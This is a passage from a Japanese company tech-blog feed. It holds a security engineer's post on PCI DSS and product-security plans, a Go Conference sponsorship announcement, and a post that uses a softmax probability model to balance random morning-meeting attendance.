href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>で回しているスキャナ結果への反応だったりに対してあまり積極的に手を動かせていませんでした。</p> <h2>入社してから現在までの動き</h2> <h4><a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS</h4> <p>今までの自分は監査する方の手伝いはしたことあるんですが、受ける側はまともに経験してないので「とりあえず今年回してなにができるか考えて来年やりやすいように変える!」で動かしています。実質なにもできてない。v4のリリースもあって来年はこっちに揃えるつもりでもいるので「v4への対応&amp;運用効率化」に課題が増えました。ナンテコッタイ。</p> <h4>プロダクトセキュリティ</h4> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSSと違って得意領域で、さらに時間をかけずに片付けられる課題もあったので以下の様なものはさっと片付けました。</p> <ul> <li>ECRスキャン結果の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EA%A5%A2%A1%BC%A5%B8">トリアージ</a></li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/GCP">GCP</a>環境整備&amp;運用<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AC%A5%A4%A5%C9%A5%E9%A5%A4%A5%F3">ガイドライン</a>作成</li> <li>インシデントレスポンス手順整備</li> </ul> <p>それ以外にある腰を据えて取り組まないといけない課題については洗い出してざっくりな優先順位を出しました。</p> <h4>その他</h4> <p>なにかが起きた時、全社としてのなにかしら判断基準があるわけではなくて各チームの判断で動いているので、一体感のある何かは作りたいなぁというのを感じたので課題に積みました。そのための指標としてカンムで持っているいろんな情報資産のレベル分けをして、それをベースに意思決定できるような仕組みを作ろうとしてます。前職であったんですが色んなことが進めやすくなったのでカンムでも作ろうかと思って動いてます。</p> <h4>セキュリティOKR</h4> <p>立てようとしたきっかけが完全に覚えてないんですが、CTOと話してるときにそういう話をしたと思います。 この話の前後で同僚が退職したのもあり「1人だとどんだけできんだべ?」と考えた結果、Objective1つにKeyResult3つを立てました。この時気にしていたのは以下の点です。</p> <ul> <li>自分が楽しめること</li> <li>進捗0.7が完了</li> <li>0.7から1.0は趣味</li> <li>チェックポイントの到達条件は明確に</li> </ul> <p>OKRの立て方としては基本的なところですよね。基本に忠実に、やりやすいようにしました。自分が楽しめるのも個人的にはずっと大事にしているので織り込んでます。やりたいことをやるために先に手を付けなきゃいけない部分があるのでやる、みたいなことですね。先に面白いことが待ってるなら意外とやれるもんです。</p> <h2>これから</h2> <p>今は「目の前にあるもの片付けて隙間時間で新しいことの仕込み!」って状態になってますが、将来も見据えてはいます。</p> <h4>チーム</h4> <p>今は1人ですが、今後2人3人と増えていって、できることが増えた時も、各自が主担当領域を持ち、他の領域にもオーバーラップしていくのが自分としては好きなので、そういうチームを目指したいなぁと思います。例えば監査、インフラ、アプリと分けたとき、それぞれに担当を分けるけど、それぞれがなんとなく全部を把握していてバックアップとして機能できる、という。色んなチーム体系があるけど、自分の中ですんなりいきそうな体制はこうなるのかなぁと思ってます</p> <h4><a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSSの運用</h4> <p>ここは最近界隈でホットなOPA(Open Policy Agent)と相性がいいんじゃないかという話になっていて、今年度の監査が終わってから本格的に着手しようかなぁなんて考えてます。個人的にも「運用できたら3割くらいは心労が減るんじゃね?」って思ってたりするので手を付けたいですね。このビジネスをしている以上、監査からは逃げられないのでなるべく準備に手がかからない未来を目指したいところです。</p> <h4>プロダクトセキュリティ</h4> <p>エンジニアの個人技でどうにかなってるので、これを統一した仕組みに持っていきたいと思ってます。 「PR作ったらCIでDAST/SASTの各種スキャナ動かして、その結果を適当なとこに集めて、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Dashboard">Dashboard</a>で状況把握ができる」なんて形を作れたらなぁと思ってます。アプリもコンテナもインフラもそこを見ればどんな<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>があって具体的なリスクはこれで対応状況はどうなっていてというのが見れたら視覚的にも楽しいと思うんですよね、多分。あまりに検出結果が多くてげんなりすることが多いかも。 カードにありがちな不正利用にもセキュリティが齧る余地があるので、対応チームの動向をチラ見しながら自分なりに考えてます。自分がやられて嫌なこと考えてると楽しいのもあり、タスクで煮詰まった時の気分転換になってます。</p> <h4>全体</h4> <p>基本的なものはあるのだけど、それを日常的に動かそうとなると不足しているものがそこそこあるので、そういったものの整備や社内広報をして…なんてのをぼんやりと考えてます。カンムのいいところとして、エンジニア以外の職種でもエンジニアチックな動きができるので、そういった文化は活用しながらカンムに合ったセキュリティ体制を作っていきたいという思いが強いです。</p> <h2>最後に</h2> <p>現状と未来は出せる範囲で伝えられたかなぁと思います。「どこから手を付けるかはだいたい見えてるけどやることいっぱいで手が足りない!」って状況なので、一緒にやってくれるエンジニアを募集中です。「セキュリティに興味がある」ってだけでも大丈夫です。自分が必要なことを教えます。もちろん「こういうのやりたい!」って飛び込んできてくれる人も大歓迎です。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> LIVA カンムは Go Conference 2022 Spring にスポンサーとして参加します #GoConference #gocon hatenablog://entry/13574176438083077087 2022-04-19T10:13:41+09:00 2022-04-19T10:13:41+09:00 こんにちは!カンムでエンジニア採用を担当している @ayapoyo です。 ついに今週土曜日は Go Conference 2022 Spring の開催日! 今回もスポンサーとして参加させていただきます。 gocon.jp シルバースポンサーやります ʕ◔ϖ◔ʔ 2021年に引き続き、今回もスポンサーとして Go Conference に参加させていただきます! カンムが展開する "バンドルカード" そして新規事業の "Pool" のバックエンドは Go メインで開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています 💳 kanmu.co.jp エンジニアが… <p>こんにちは!カンムでエンジニア採用を担当している <a href="https://twitter.com/_ayapoyochan">@ayapoyo</a> です。 ついに今週土曜日は Go Conference 2022 Spring の開催日! 今回もスポンサーとして参加させていただきます。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgocon.jp%2F2022spring%2F" title="Go Conference 2022 Spring | Home" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://gocon.jp/2022spring/">gocon.jp</a></cite></p> <h4>シルバースポンサーやります ʕ◔ϖ◔ʔ</h4> <p>2021年に引き続き、今回もスポンサーとして Go Conference に参加させていただきます!</p> <p>カンムが展開する "バンドルカード" そして新規事業の "Pool" のバックエンドは Go メインで開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています 💳</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2F" title="株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/">kanmu.co.jp</a></cite></p> <h4>エンジニアがセッションに登壇します ʕ◔ϖ◔ʔ</h4> <p>今回の GoCon では、CTO の <a href="https://twitter.com/mururururu">@mururururu</a> バックエンドエンジニアの <a href="https://twitter.com/_pongzu">@pongzu</a> がセッションに登壇します! 以下スケジュールで登壇するので、ぜひご覧ください。</p> <p><strong>16:50 <a href="https://gocon.jp/2022spring/sessions/b13-s/">Go で始める将棋AI</a> <a href="https://twitter.com/mururururu">@mururururu</a> </strong></p> <p><strong>17:55 <a href="https://gocon.jp/2022spring/speakers/_pongzu/">外部コマンドの実行を含む関数のテスト</a> <a href="https://twitter.com/_pongzu">@pongzu</a> </strong></p> <h4>オフィスアワーで クイズ を開催 ʕ◔ϖ◔ʔ</h4> <p>今回の GoCon も完全リモート開催!Remo でオフィスアワーを実施します。 カンムのブースではこんなことをやります!</p> <h5>決済処理に使われている ISO 8583 のバイナリを解析するクイズに挑戦!</h5> <p>カンムが提供するクレジットカードの決済処理にも使われている ISO 8583 形式のバイナリを解析するクイズを当日公開予定。 ブースや<a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a>で随時ヒントの発表や解説などを行います!</p> <p>カンムのエンジニアが作成したこのクイズ、なかなか解き応えのあるものに仕上がっています…! セッションの休憩時間、ぜひクイズにもチャレンジしてみてくださいね!</p> <p>このほかにも</p> <ul> <li>カンムやバンドルカード・Pool について聞いてみたい!</li> <li>登壇していたエンジニアと話してみたい!</li> <li>Go についてわいわい話したい!</li> </ul> <p>などなども大歓迎です!Remo のブースに遊びに来てみてくださいね!</p> <h5>参加登録は connpass から ʕ◔ϖ◔ʔ</h5> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgocon.connpass.com%2Fevent%2F212162%2F" title="Go Conference 2022 Spring (Online) (2022/04/23 10:00〜)" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://gocon.connpass.com/event/212162/">gocon.connpass.com</a></cite></p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/gopher">gopher</a> のみなさんとお会いできることを楽しみにしております👋</p> kanmu-tech カンム流朝会最適化#1 『確率モデル編』 hatenablog://entry/13574176438078423713 2022-03-31T17:06:51+09:00 2022-03-31T17:06:51+09:00 はじめに こんにちは、カンムでバンドルカードの機械学習部分を担当している fkubota です。(ちなみに機械学習エンジニアめっちゃ探してます👀) 前回の記事から日が経ってしまいました。 あれから、沖縄に移住する(2月に)などプライベートで大きめのイベントが多発して忙しく過ごしていました。 そのせいもあり新しい技術に触れるような時間が少なくてなかなかテックブログネタが思いつかなかったのですが、朝会で不便を感じていたのでテックでいい感じにしたろ!と思い立ち勢いで書きます。 前回の記事も朝会についてでした。 カンム流『朝会』をやってみたら予想以上にウケが良かった件 ざっと概要を話すと、 リモートで… <p>はじめに <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331123312.png" alt="f:id:fkubota_owl:20220331123312p:plain" width="553" height="311" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>こんにちは、カンムでバンドルカードの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>部分を担当している <a href="https://twitter.com/fkubota_">fkubota</a> です。(ちなみに<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>エンジニアめっちゃ探してます👀)<br /> <a href="https://tech.kanmu.co.jp/entry/2021/09/13/180901">前回の記事</a>から日が経ってしまいました。<br /> あれから、沖縄に移住する(2月に)などプライベートで大きめのイベントが多発して忙しく過ごしていました。<br /> そのせいもあり新しい技術に触れるような時間が少なくてなかなかテックブログネタが思いつかなかったのですが、朝会で不便を感じていたのでテックでいい感じにしたろ!と思い立ち勢いで書きます。</p> <p>前回の記事も朝会についてでした。 <a href="https://tech.kanmu.co.jp/entry/2021/09/13/180901">カンム流『朝会』をやってみたら予想以上にウケが良かった件</a><br /> ざっと概要を話すと、</p> <ul> <li>リモートで雑談減ったよね</li> <li>雑談する会を設けても継続的に行うことって難しいよね</li> <li>新しく入社した人が関係構築するのも難しいよね</li> </ul> <p>という思いから、飽きない、形骸化しづらいしくみの朝会を開催しました。<br /> <strong>2021年6月ごろにはじめて未だに(2022年03月31日現在)</strong> 続いているのでなかなか悪くない仕組みでは?と思っています。<br /> 仕組みは簡単で、</p> <ul> <li>週に2回、朝15分開催</li> <li>メンバーは毎回ランダム(現在は18人から5人選ぶ感じ)</li> <li>聞き専禁止</li> <li>テーマなしの雑談</li> </ul> <p>という感じです。<br /> 短いこととランダムなことが効いて飽きづらい仕組みにしています。<br /> biz寄りの人もいればデザイナーもいて普段仕事で会話しない人とも会話できて楽しいです:)</p> <h1>もうすこしいい感じにしたい朝会</h1> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331124101.png" alt="f:id:fkubota_owl:20220331124101p:plain" width="509" height="339" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><br /> この朝会を運用していてもう少しいい感じにしたいなぁと思うことがありました。<br /> ランダムにメンバーを選んでいるのですが、あれーあの人全然選ばれてないなぁとかあの人とあの人が一緒の会に参加してるの見たこと無いなぁとかそんなことを思っていました。<br /> 20回参加している人もいれば、5回しか参加していない人もいます。<br /> AさんとBさんはそれぞれ10回参加していますが、同時に参加したことは0回だったりもします。<br /> 朝会は月に多くても 10回程度しか開催されないので、そういう状況はまあありえますよね。</p> <h1>問題の形</h1> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331124847.png" alt="f:id:fkubota_owl:20220331124847p:plain" width="500" height="334" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>現在の悩みのタネは</p> <ul> <li>全員の参加回数に偏りがある</li> <li>同時に会に参加したことのないペアが存在する</li> </ul> <p>です。<br /> 前者だけであれば、簡単にできそうなのですがペアまで考慮するとちょっと複雑そうです。<br /> こういう制約のある数理<a class="keyword" href="http://d.hatena.ne.jp/keyword/%BA%C7%C5%AC%B2%BD%CC%E4%C2%EA">最適化問題</a>みたいのって存在しそうなんですが、僕は詳しくないので知りません。<br /> なにか知っている人いたらコメントで教えて下さい。</p> <h1>確率モデルを導入して解いてみる</h1> <p>ということで確率モデルを導入してみます。<br /> 確率モデルというと仰々しいですがそんなにかっこよくて難しい話ではありません。<br /> もう少しお付き合いいただくとわかってくるかと思います。</p> <p>僕は、問題を解くための土台として以下のような表を用意しました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331125217.png" alt="f:id:fkubota_owl:20220331125217p:plain" width="253" height="302" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>これは、A~Jの10人のメンバーが朝会に参加した記録です。<br /> 10人から3人が朝会に参加するとします。<br /> [A, B, E] が選ばれた場合、表の A行B列、A行E列、B行E列のセルに1が加算されます。<br /> A行B列とB行A列のセルは同等な意味を持ちますので上三角部分だけが意味を成します。</p> <p>上の表を導入して話を進めていきます。<br /> 次に朝会を30回行った場合を見ていきます。<br /> メンバーはランダムに選びます。(<a class="keyword" href="http://d.hatena.ne.jp/keyword/python">python</a>で実装しています。)</p> <p>1回目<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331125705.png" alt="f:id:fkubota_owl:20220331125705p:plain" width="243" height="307" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>5回目<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331125829.png" alt="f:id:fkubota_owl:20220331125829p:plain" width="246" height="310" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>15回目<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331125900.png" alt="f:id:fkubota_owl:20220331125900p:plain" width="246" height="311" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>30回目<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331130408.png" alt="f:id:fkubota_owl:20220331130408p:plain" width="250" height="309" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>こんな感じになりました。<br /> BさんとEさん(B行E列)は5回同じ朝会に参加していますが、AさんとDさんは一度も同じ会に参加していません。 <br /> 各人の合計参加回数はどうでしょうか?</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331130618.png" alt="f:id:fkubota_owl:20220331130618p:plain" width="79" height="171" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>となっており、明らかに偏りがあります。<br /> Bさんの32回に対してDさんは6回なので、参加回数に5倍も差がありますね。<br /> これはなんとかしたいところ。</p> <p>やりたいことは明らかで、この参加回数表の値が小さいところが選ばれやすいような確率モデルを導入すればいいだけです。<br /> 現在のランダムな状況をモデルとして考えると、以下のようになります。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331131239.png" alt="f:id:fkubota_owl:20220331131239p:plain" width="484" height="304" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>各セルの値が選ばれやすい確率を表しており、すべてのペアを等しい確率で選んでいるので0.022で一定値です。<br /> ちなみにすべてのセルを足すと1になるように正規化しています。 100をかければ%になるので、 0.022×100 = 2.2%なのですべてのペアは2.2%の確率で選ばれます。</p> <p><strong>このすべて同じ値の表(確率モデル)を改良して、すべてのペアでバランス良く朝会を実現しようというのが今回解いている問題です。</strong><br /> ここまでこれば後は解けたようなものですね。<br /> サクッとやってしまいましょう。</p> <p>まずは、各セルの値ごとに <code>朝会に参加していない度</code> を定義したいと思います。<br /> 各セルの参加回数を <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20n%20_%20%7Bij%7D" alt=" n _ {ij}"/>、全体の朝会開催数を<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20N" alt=" N"/> とします。<br /> 以下のような指標<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Calpha%20_%20%7Bij%7D" alt=" \alpha _ {ij}"/>はどうでしょうか?</p> <div><img src="https://chart.apis.google.com/chart?cht=tx&chl=%0A%5Calpha_%7Bij%7D%20%3D%20%5Cfrac%7BN%20-%20n_%7Bij%7D%7D%7BN%7D%0A" alt=" \alpha_{ij} = \frac{N - n_{ij}}{N} "/></div> <p><img src="https://chart.apis.google.com/chart?cht=tx&chl=N" alt="N"/>が定数(今回だと30)なので、 <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20n%20_%20%7Bi%2Cj%7D" alt=" n _ {i,j}"/> が大きいほど、上の指標<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Calpha" alt=" \alpha"/>は小さくなります。<br /> つまりペアが実現した回数が大きいほど小さくなります。 <code>朝会参加していない度</code> として使えそうです。<br /> 実際にセルに当てはめてみます。</p> <p>参加回数表</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331132618.png" alt="f:id:fkubota_owl:20220331132618p:plain" width="248" height="303" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>上記から計算した <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Calpha" alt=" \alpha"/><br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331132655.png" alt="f:id:fkubota_owl:20220331132655p:plain" width="486" height="307" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>回数が少ないほど、<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Calpha" alt=" \alpha"/> が大きな 大きな値を取っています。<br /> 例えば、 <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20n%20_%20%7BA%2C%20D%7D%20%3D%200" alt=" n _ {A, D} = 0"/> だと <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Calpha%20_%20%7BA%2C%20D%7D%20%3D%201" alt=" \alpha _ {A, D} = 1"/> であり、<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20n%20_%20%7BB%2C%20E%7D%20%3D%205" alt=" n _ {B, E} = 5"/> だと <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Calpha%20_%20%7BB%2C%20E%7D%20%3D%200.833" alt=" \alpha _ {B, E} = 0.833"/> となっています。<br /> しかし、0回と5回で極端に差が開いているのに、1/0.833 ≒ 1.2 と仮に確率として扱うと、1.2倍程度しか差がなくて微妙です。<br /> もう少し、回数の差に対して勾配をつけたいです。さらには、その勾配加減を調整できると嬉しいです。<br /> 実現方法はいくらでもありますが、僕は 指数関数を用いることにしました。</p> <p>新しく定義する <code>朝会参加していない度</code> を <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Cbeta" alt=" \beta"/> とします。</p> <div><img src="https://chart.apis.google.com/chart?cht=tx&chl=%0A%5Cbeta_%7Bij%7D%20%3D%20e%5E%7B%5Clambda%20%5Calpha_%7Bij%7D%7D%0A" alt=" \beta_{ij} = e^{\lambda \alpha_{ij}} "/></div> <p>ここで、<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda" alt=" \lambda"/> は <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%20%3E0%20" alt=" \lambda &gt;0 "/> の実数であり、<img src="https://chart.apis.google.com/chart?cht=tx&chl=%5Clambda" alt="\lambda"/>が大きいときには <img src="https://chart.apis.google.com/chart?cht=tx&chl=n%20_%20%7Bij%7D" alt="n _ {ij}"/>が小さい場合、<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Cbeta%20_%20%7Bij%7D" alt=" \beta _ {ij}"/>をより小さく、大きい時より大きくします。(勾配をコン<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%ED%A1%BC%A5%EB">トロール</a>します)</p> <p><img src="https://chart.apis.google.com/chart?cht=tx&chl=%5Clambda%3D1" alt="\lambda=1"/> の場合と <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D5" alt=" \lambda=5"/> の場合の <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Cbeta" alt=" \beta"/> を見てみましょう。</p> <p><img src="https://chart.apis.google.com/chart?cht=tx&chl=%5Clambda%3D1" alt="\lambda=1"/> の場合<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331134847.png" alt="f:id:fkubota_owl:20220331134847p:plain" width="490" height="309" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><img src="https://chart.apis.google.com/chart?cht=tx&chl=%5Clambda%3D5" alt="\lambda=5"/> の場合<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331134920.png" alt="f:id:fkubota_owl:20220331134920p:plain" width="588" height="310" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><img src="https://chart.apis.google.com/chart?cht=tx&chl=%5Clambda%3D5" alt="\lambda=5"/> のほうが <img src="https://chart.apis.google.com/chart?cht=tx&chl=n%20_%20%7Bij%7D" alt="n _ {ij}"/> の値の大きさに激しく値が反応している事がわかります。</p> <p>あとは、これを正規化(すべてのセルを足して1にする)して確率 <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20p%20_%20%7Bij%7D" alt=" p _ {ij}"/> として扱います。</p> <div><img src="https://chart.apis.google.com/chart?cht=tx&chl=%0Ap_%7Bij%7D%20%3D%20%5Cfrac%7Be%5E%7B%5Clambda%20%5Calpha_%7Bij%7D%7D%7D%7B%5Csum_%7Ball%5C_cells%7D%20e%5E%7B%5Clambda%20%5Calpha_%7Bij%7D%7D%7D%20%20%20%20%0A" alt=" p_{ij} = \frac{e^{\lambda \alpha_{ij}}}{\sum_{all\_cells} e^{\lambda \alpha_{ij}}} "/></div> <p>という式になり、おなじみにの softmax関数となりました。</p> <h1>作ったモデルで遊んで見る</h1> <p>作ったモデルで実際にシミュレーションしてみます。<br /> 朝会のメンバーを選ぶプロセスは</p> <ol> <li>参加回数表から確率の表を作成</li> <li>表を元に3人の参加者を選ぶ</li> <li>表を更新</li> <li>1~3を繰り返す</li> </ol> <p>とこんな感じです。</p> <ul> <li>randomに選ぶパターン</li> <li><img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D5" alt=" \lambda=5"/> で選ぶパターン</li> <li><img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D50" alt=" \lambda=50"/> で選ぶパターン</li> </ul> <p>をやってみました。<br /> 朝会の開催回数うは <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20N%3D50" alt=" N=50"/>としています。<br /> 結果は</p> <ul> <li><p>random<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331140510.png" alt="f:id:fkubota_owl:20220331140510p:plain" width="251" height="307" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p></li> <li><p><img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D5" alt=" \lambda=5"/><br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331140609.png" alt="f:id:fkubota_owl:20220331140609p:plain" width="258" height="300" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span>]</p></li> <li><p><img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D50" alt=" \lambda=50"/><br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331140907.png" alt="f:id:fkubota_owl:20220331140907p:plain" width="249" height="302" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p></li> </ul> <p>となり、 <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda" alt=" \lambda"/>が大きいほど極端に多い/少ないが見られません。<br /> 意図した動作になっているようです。<br /> ちなみに、<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D50" alt=" \lambda=50"/> の終了時の確率の表は以下のようになっていました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331141112.png" alt="f:id:fkubota_owl:20220331141112p:plain" width="486" height="309" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>また、参加合計回数を randomと <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D50" alt=" \lambda=50"/> で比較すると<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D50" alt=" \lambda=50"/> のほうが公平に参加できている事がわかります。</p> <ul> <li><p>ramdom<br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331142514.png" alt="f:id:fkubota_owl:20220331142514p:plain" width="84" height="172" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p></li> <li><p><img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda%3D50" alt=" \lambda=50"/><br /> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331142359.png" alt="f:id:fkubota_owl:20220331142359p:plain" width="111" height="175" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p></li> </ul> <h1>評価してみる</h1> <p>上述したように <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda" alt=" \lambda"/> によって、参加回数をコン<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%ED%A1%BC%A5%EB">トロール</a>できるようになり、参加回数表も均一になっているように見えます。<br /> どの程度均一になっているのか?を<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C4%EA%CE%CC">定量</a>的に評価したくなったのでこれもやってみました。<br /> まあ、分散でいいだろうと思ったのでちゃちゃっと計算した結果を見せます。<br /> 分散は、参加回数表の各セルの平均値を<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Cmu" alt=" \mu"/>、セル数を<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20N_c" alt=" N_c"/>とした時以下のような式で表されます。</p> <div><img src="https://chart.apis.google.com/chart?cht=tx&chl=%5Cdisplaystyle%7B%0Avar%20%3D%20%5Cfrac%7B1%7D%7BN_c%7D%5Csum_%7Ball%5C_cells%7D%20%5Cleft%28%20n_%7Bij%7D%20-%20%5Cmu%20%5Cright%29%5E2%0A%7D" alt="\displaystyle{ var = \frac{1}{N_c}\sum_{all\_cells} \left( n_{ij} - \mu \right)^2 }"/></div> <p>横軸に朝会の開催回数、縦軸に <img src="https://chart.apis.google.com/chart?cht=tx&chl=%20var" alt=" var"/> を取ったグラフを書きました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/f/fkubota_owl/20220331/20220331142112.png" alt="f:id:fkubota_owl:20220331142112p:plain" width="627" height="502" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>こちらも<img src="https://chart.apis.google.com/chart?cht=tx&chl=%20%5Clambda" alt=" \lambda"/>が大きいほど分散が小さいことがわかります。<br /> 意図した動作が実現できています。</p> <h1>おわり</h1> <p>以上です。 なんか朝会ガチ勢みたいな記事になってしまって申し訳ないですが、最後まで見てくださってありがとうございます。<br /> 頑張って考えましたが実践導入するかちょっと迷います。<br /> めんどくさくなっちゃうといけないので、そこまでのメリットがあるのかは要検討です。<br /> とはいえ、自分で問題を作って解くというはやっぱり面白いなと思いました。<br /> 結構楽しめてよかったです。</p> 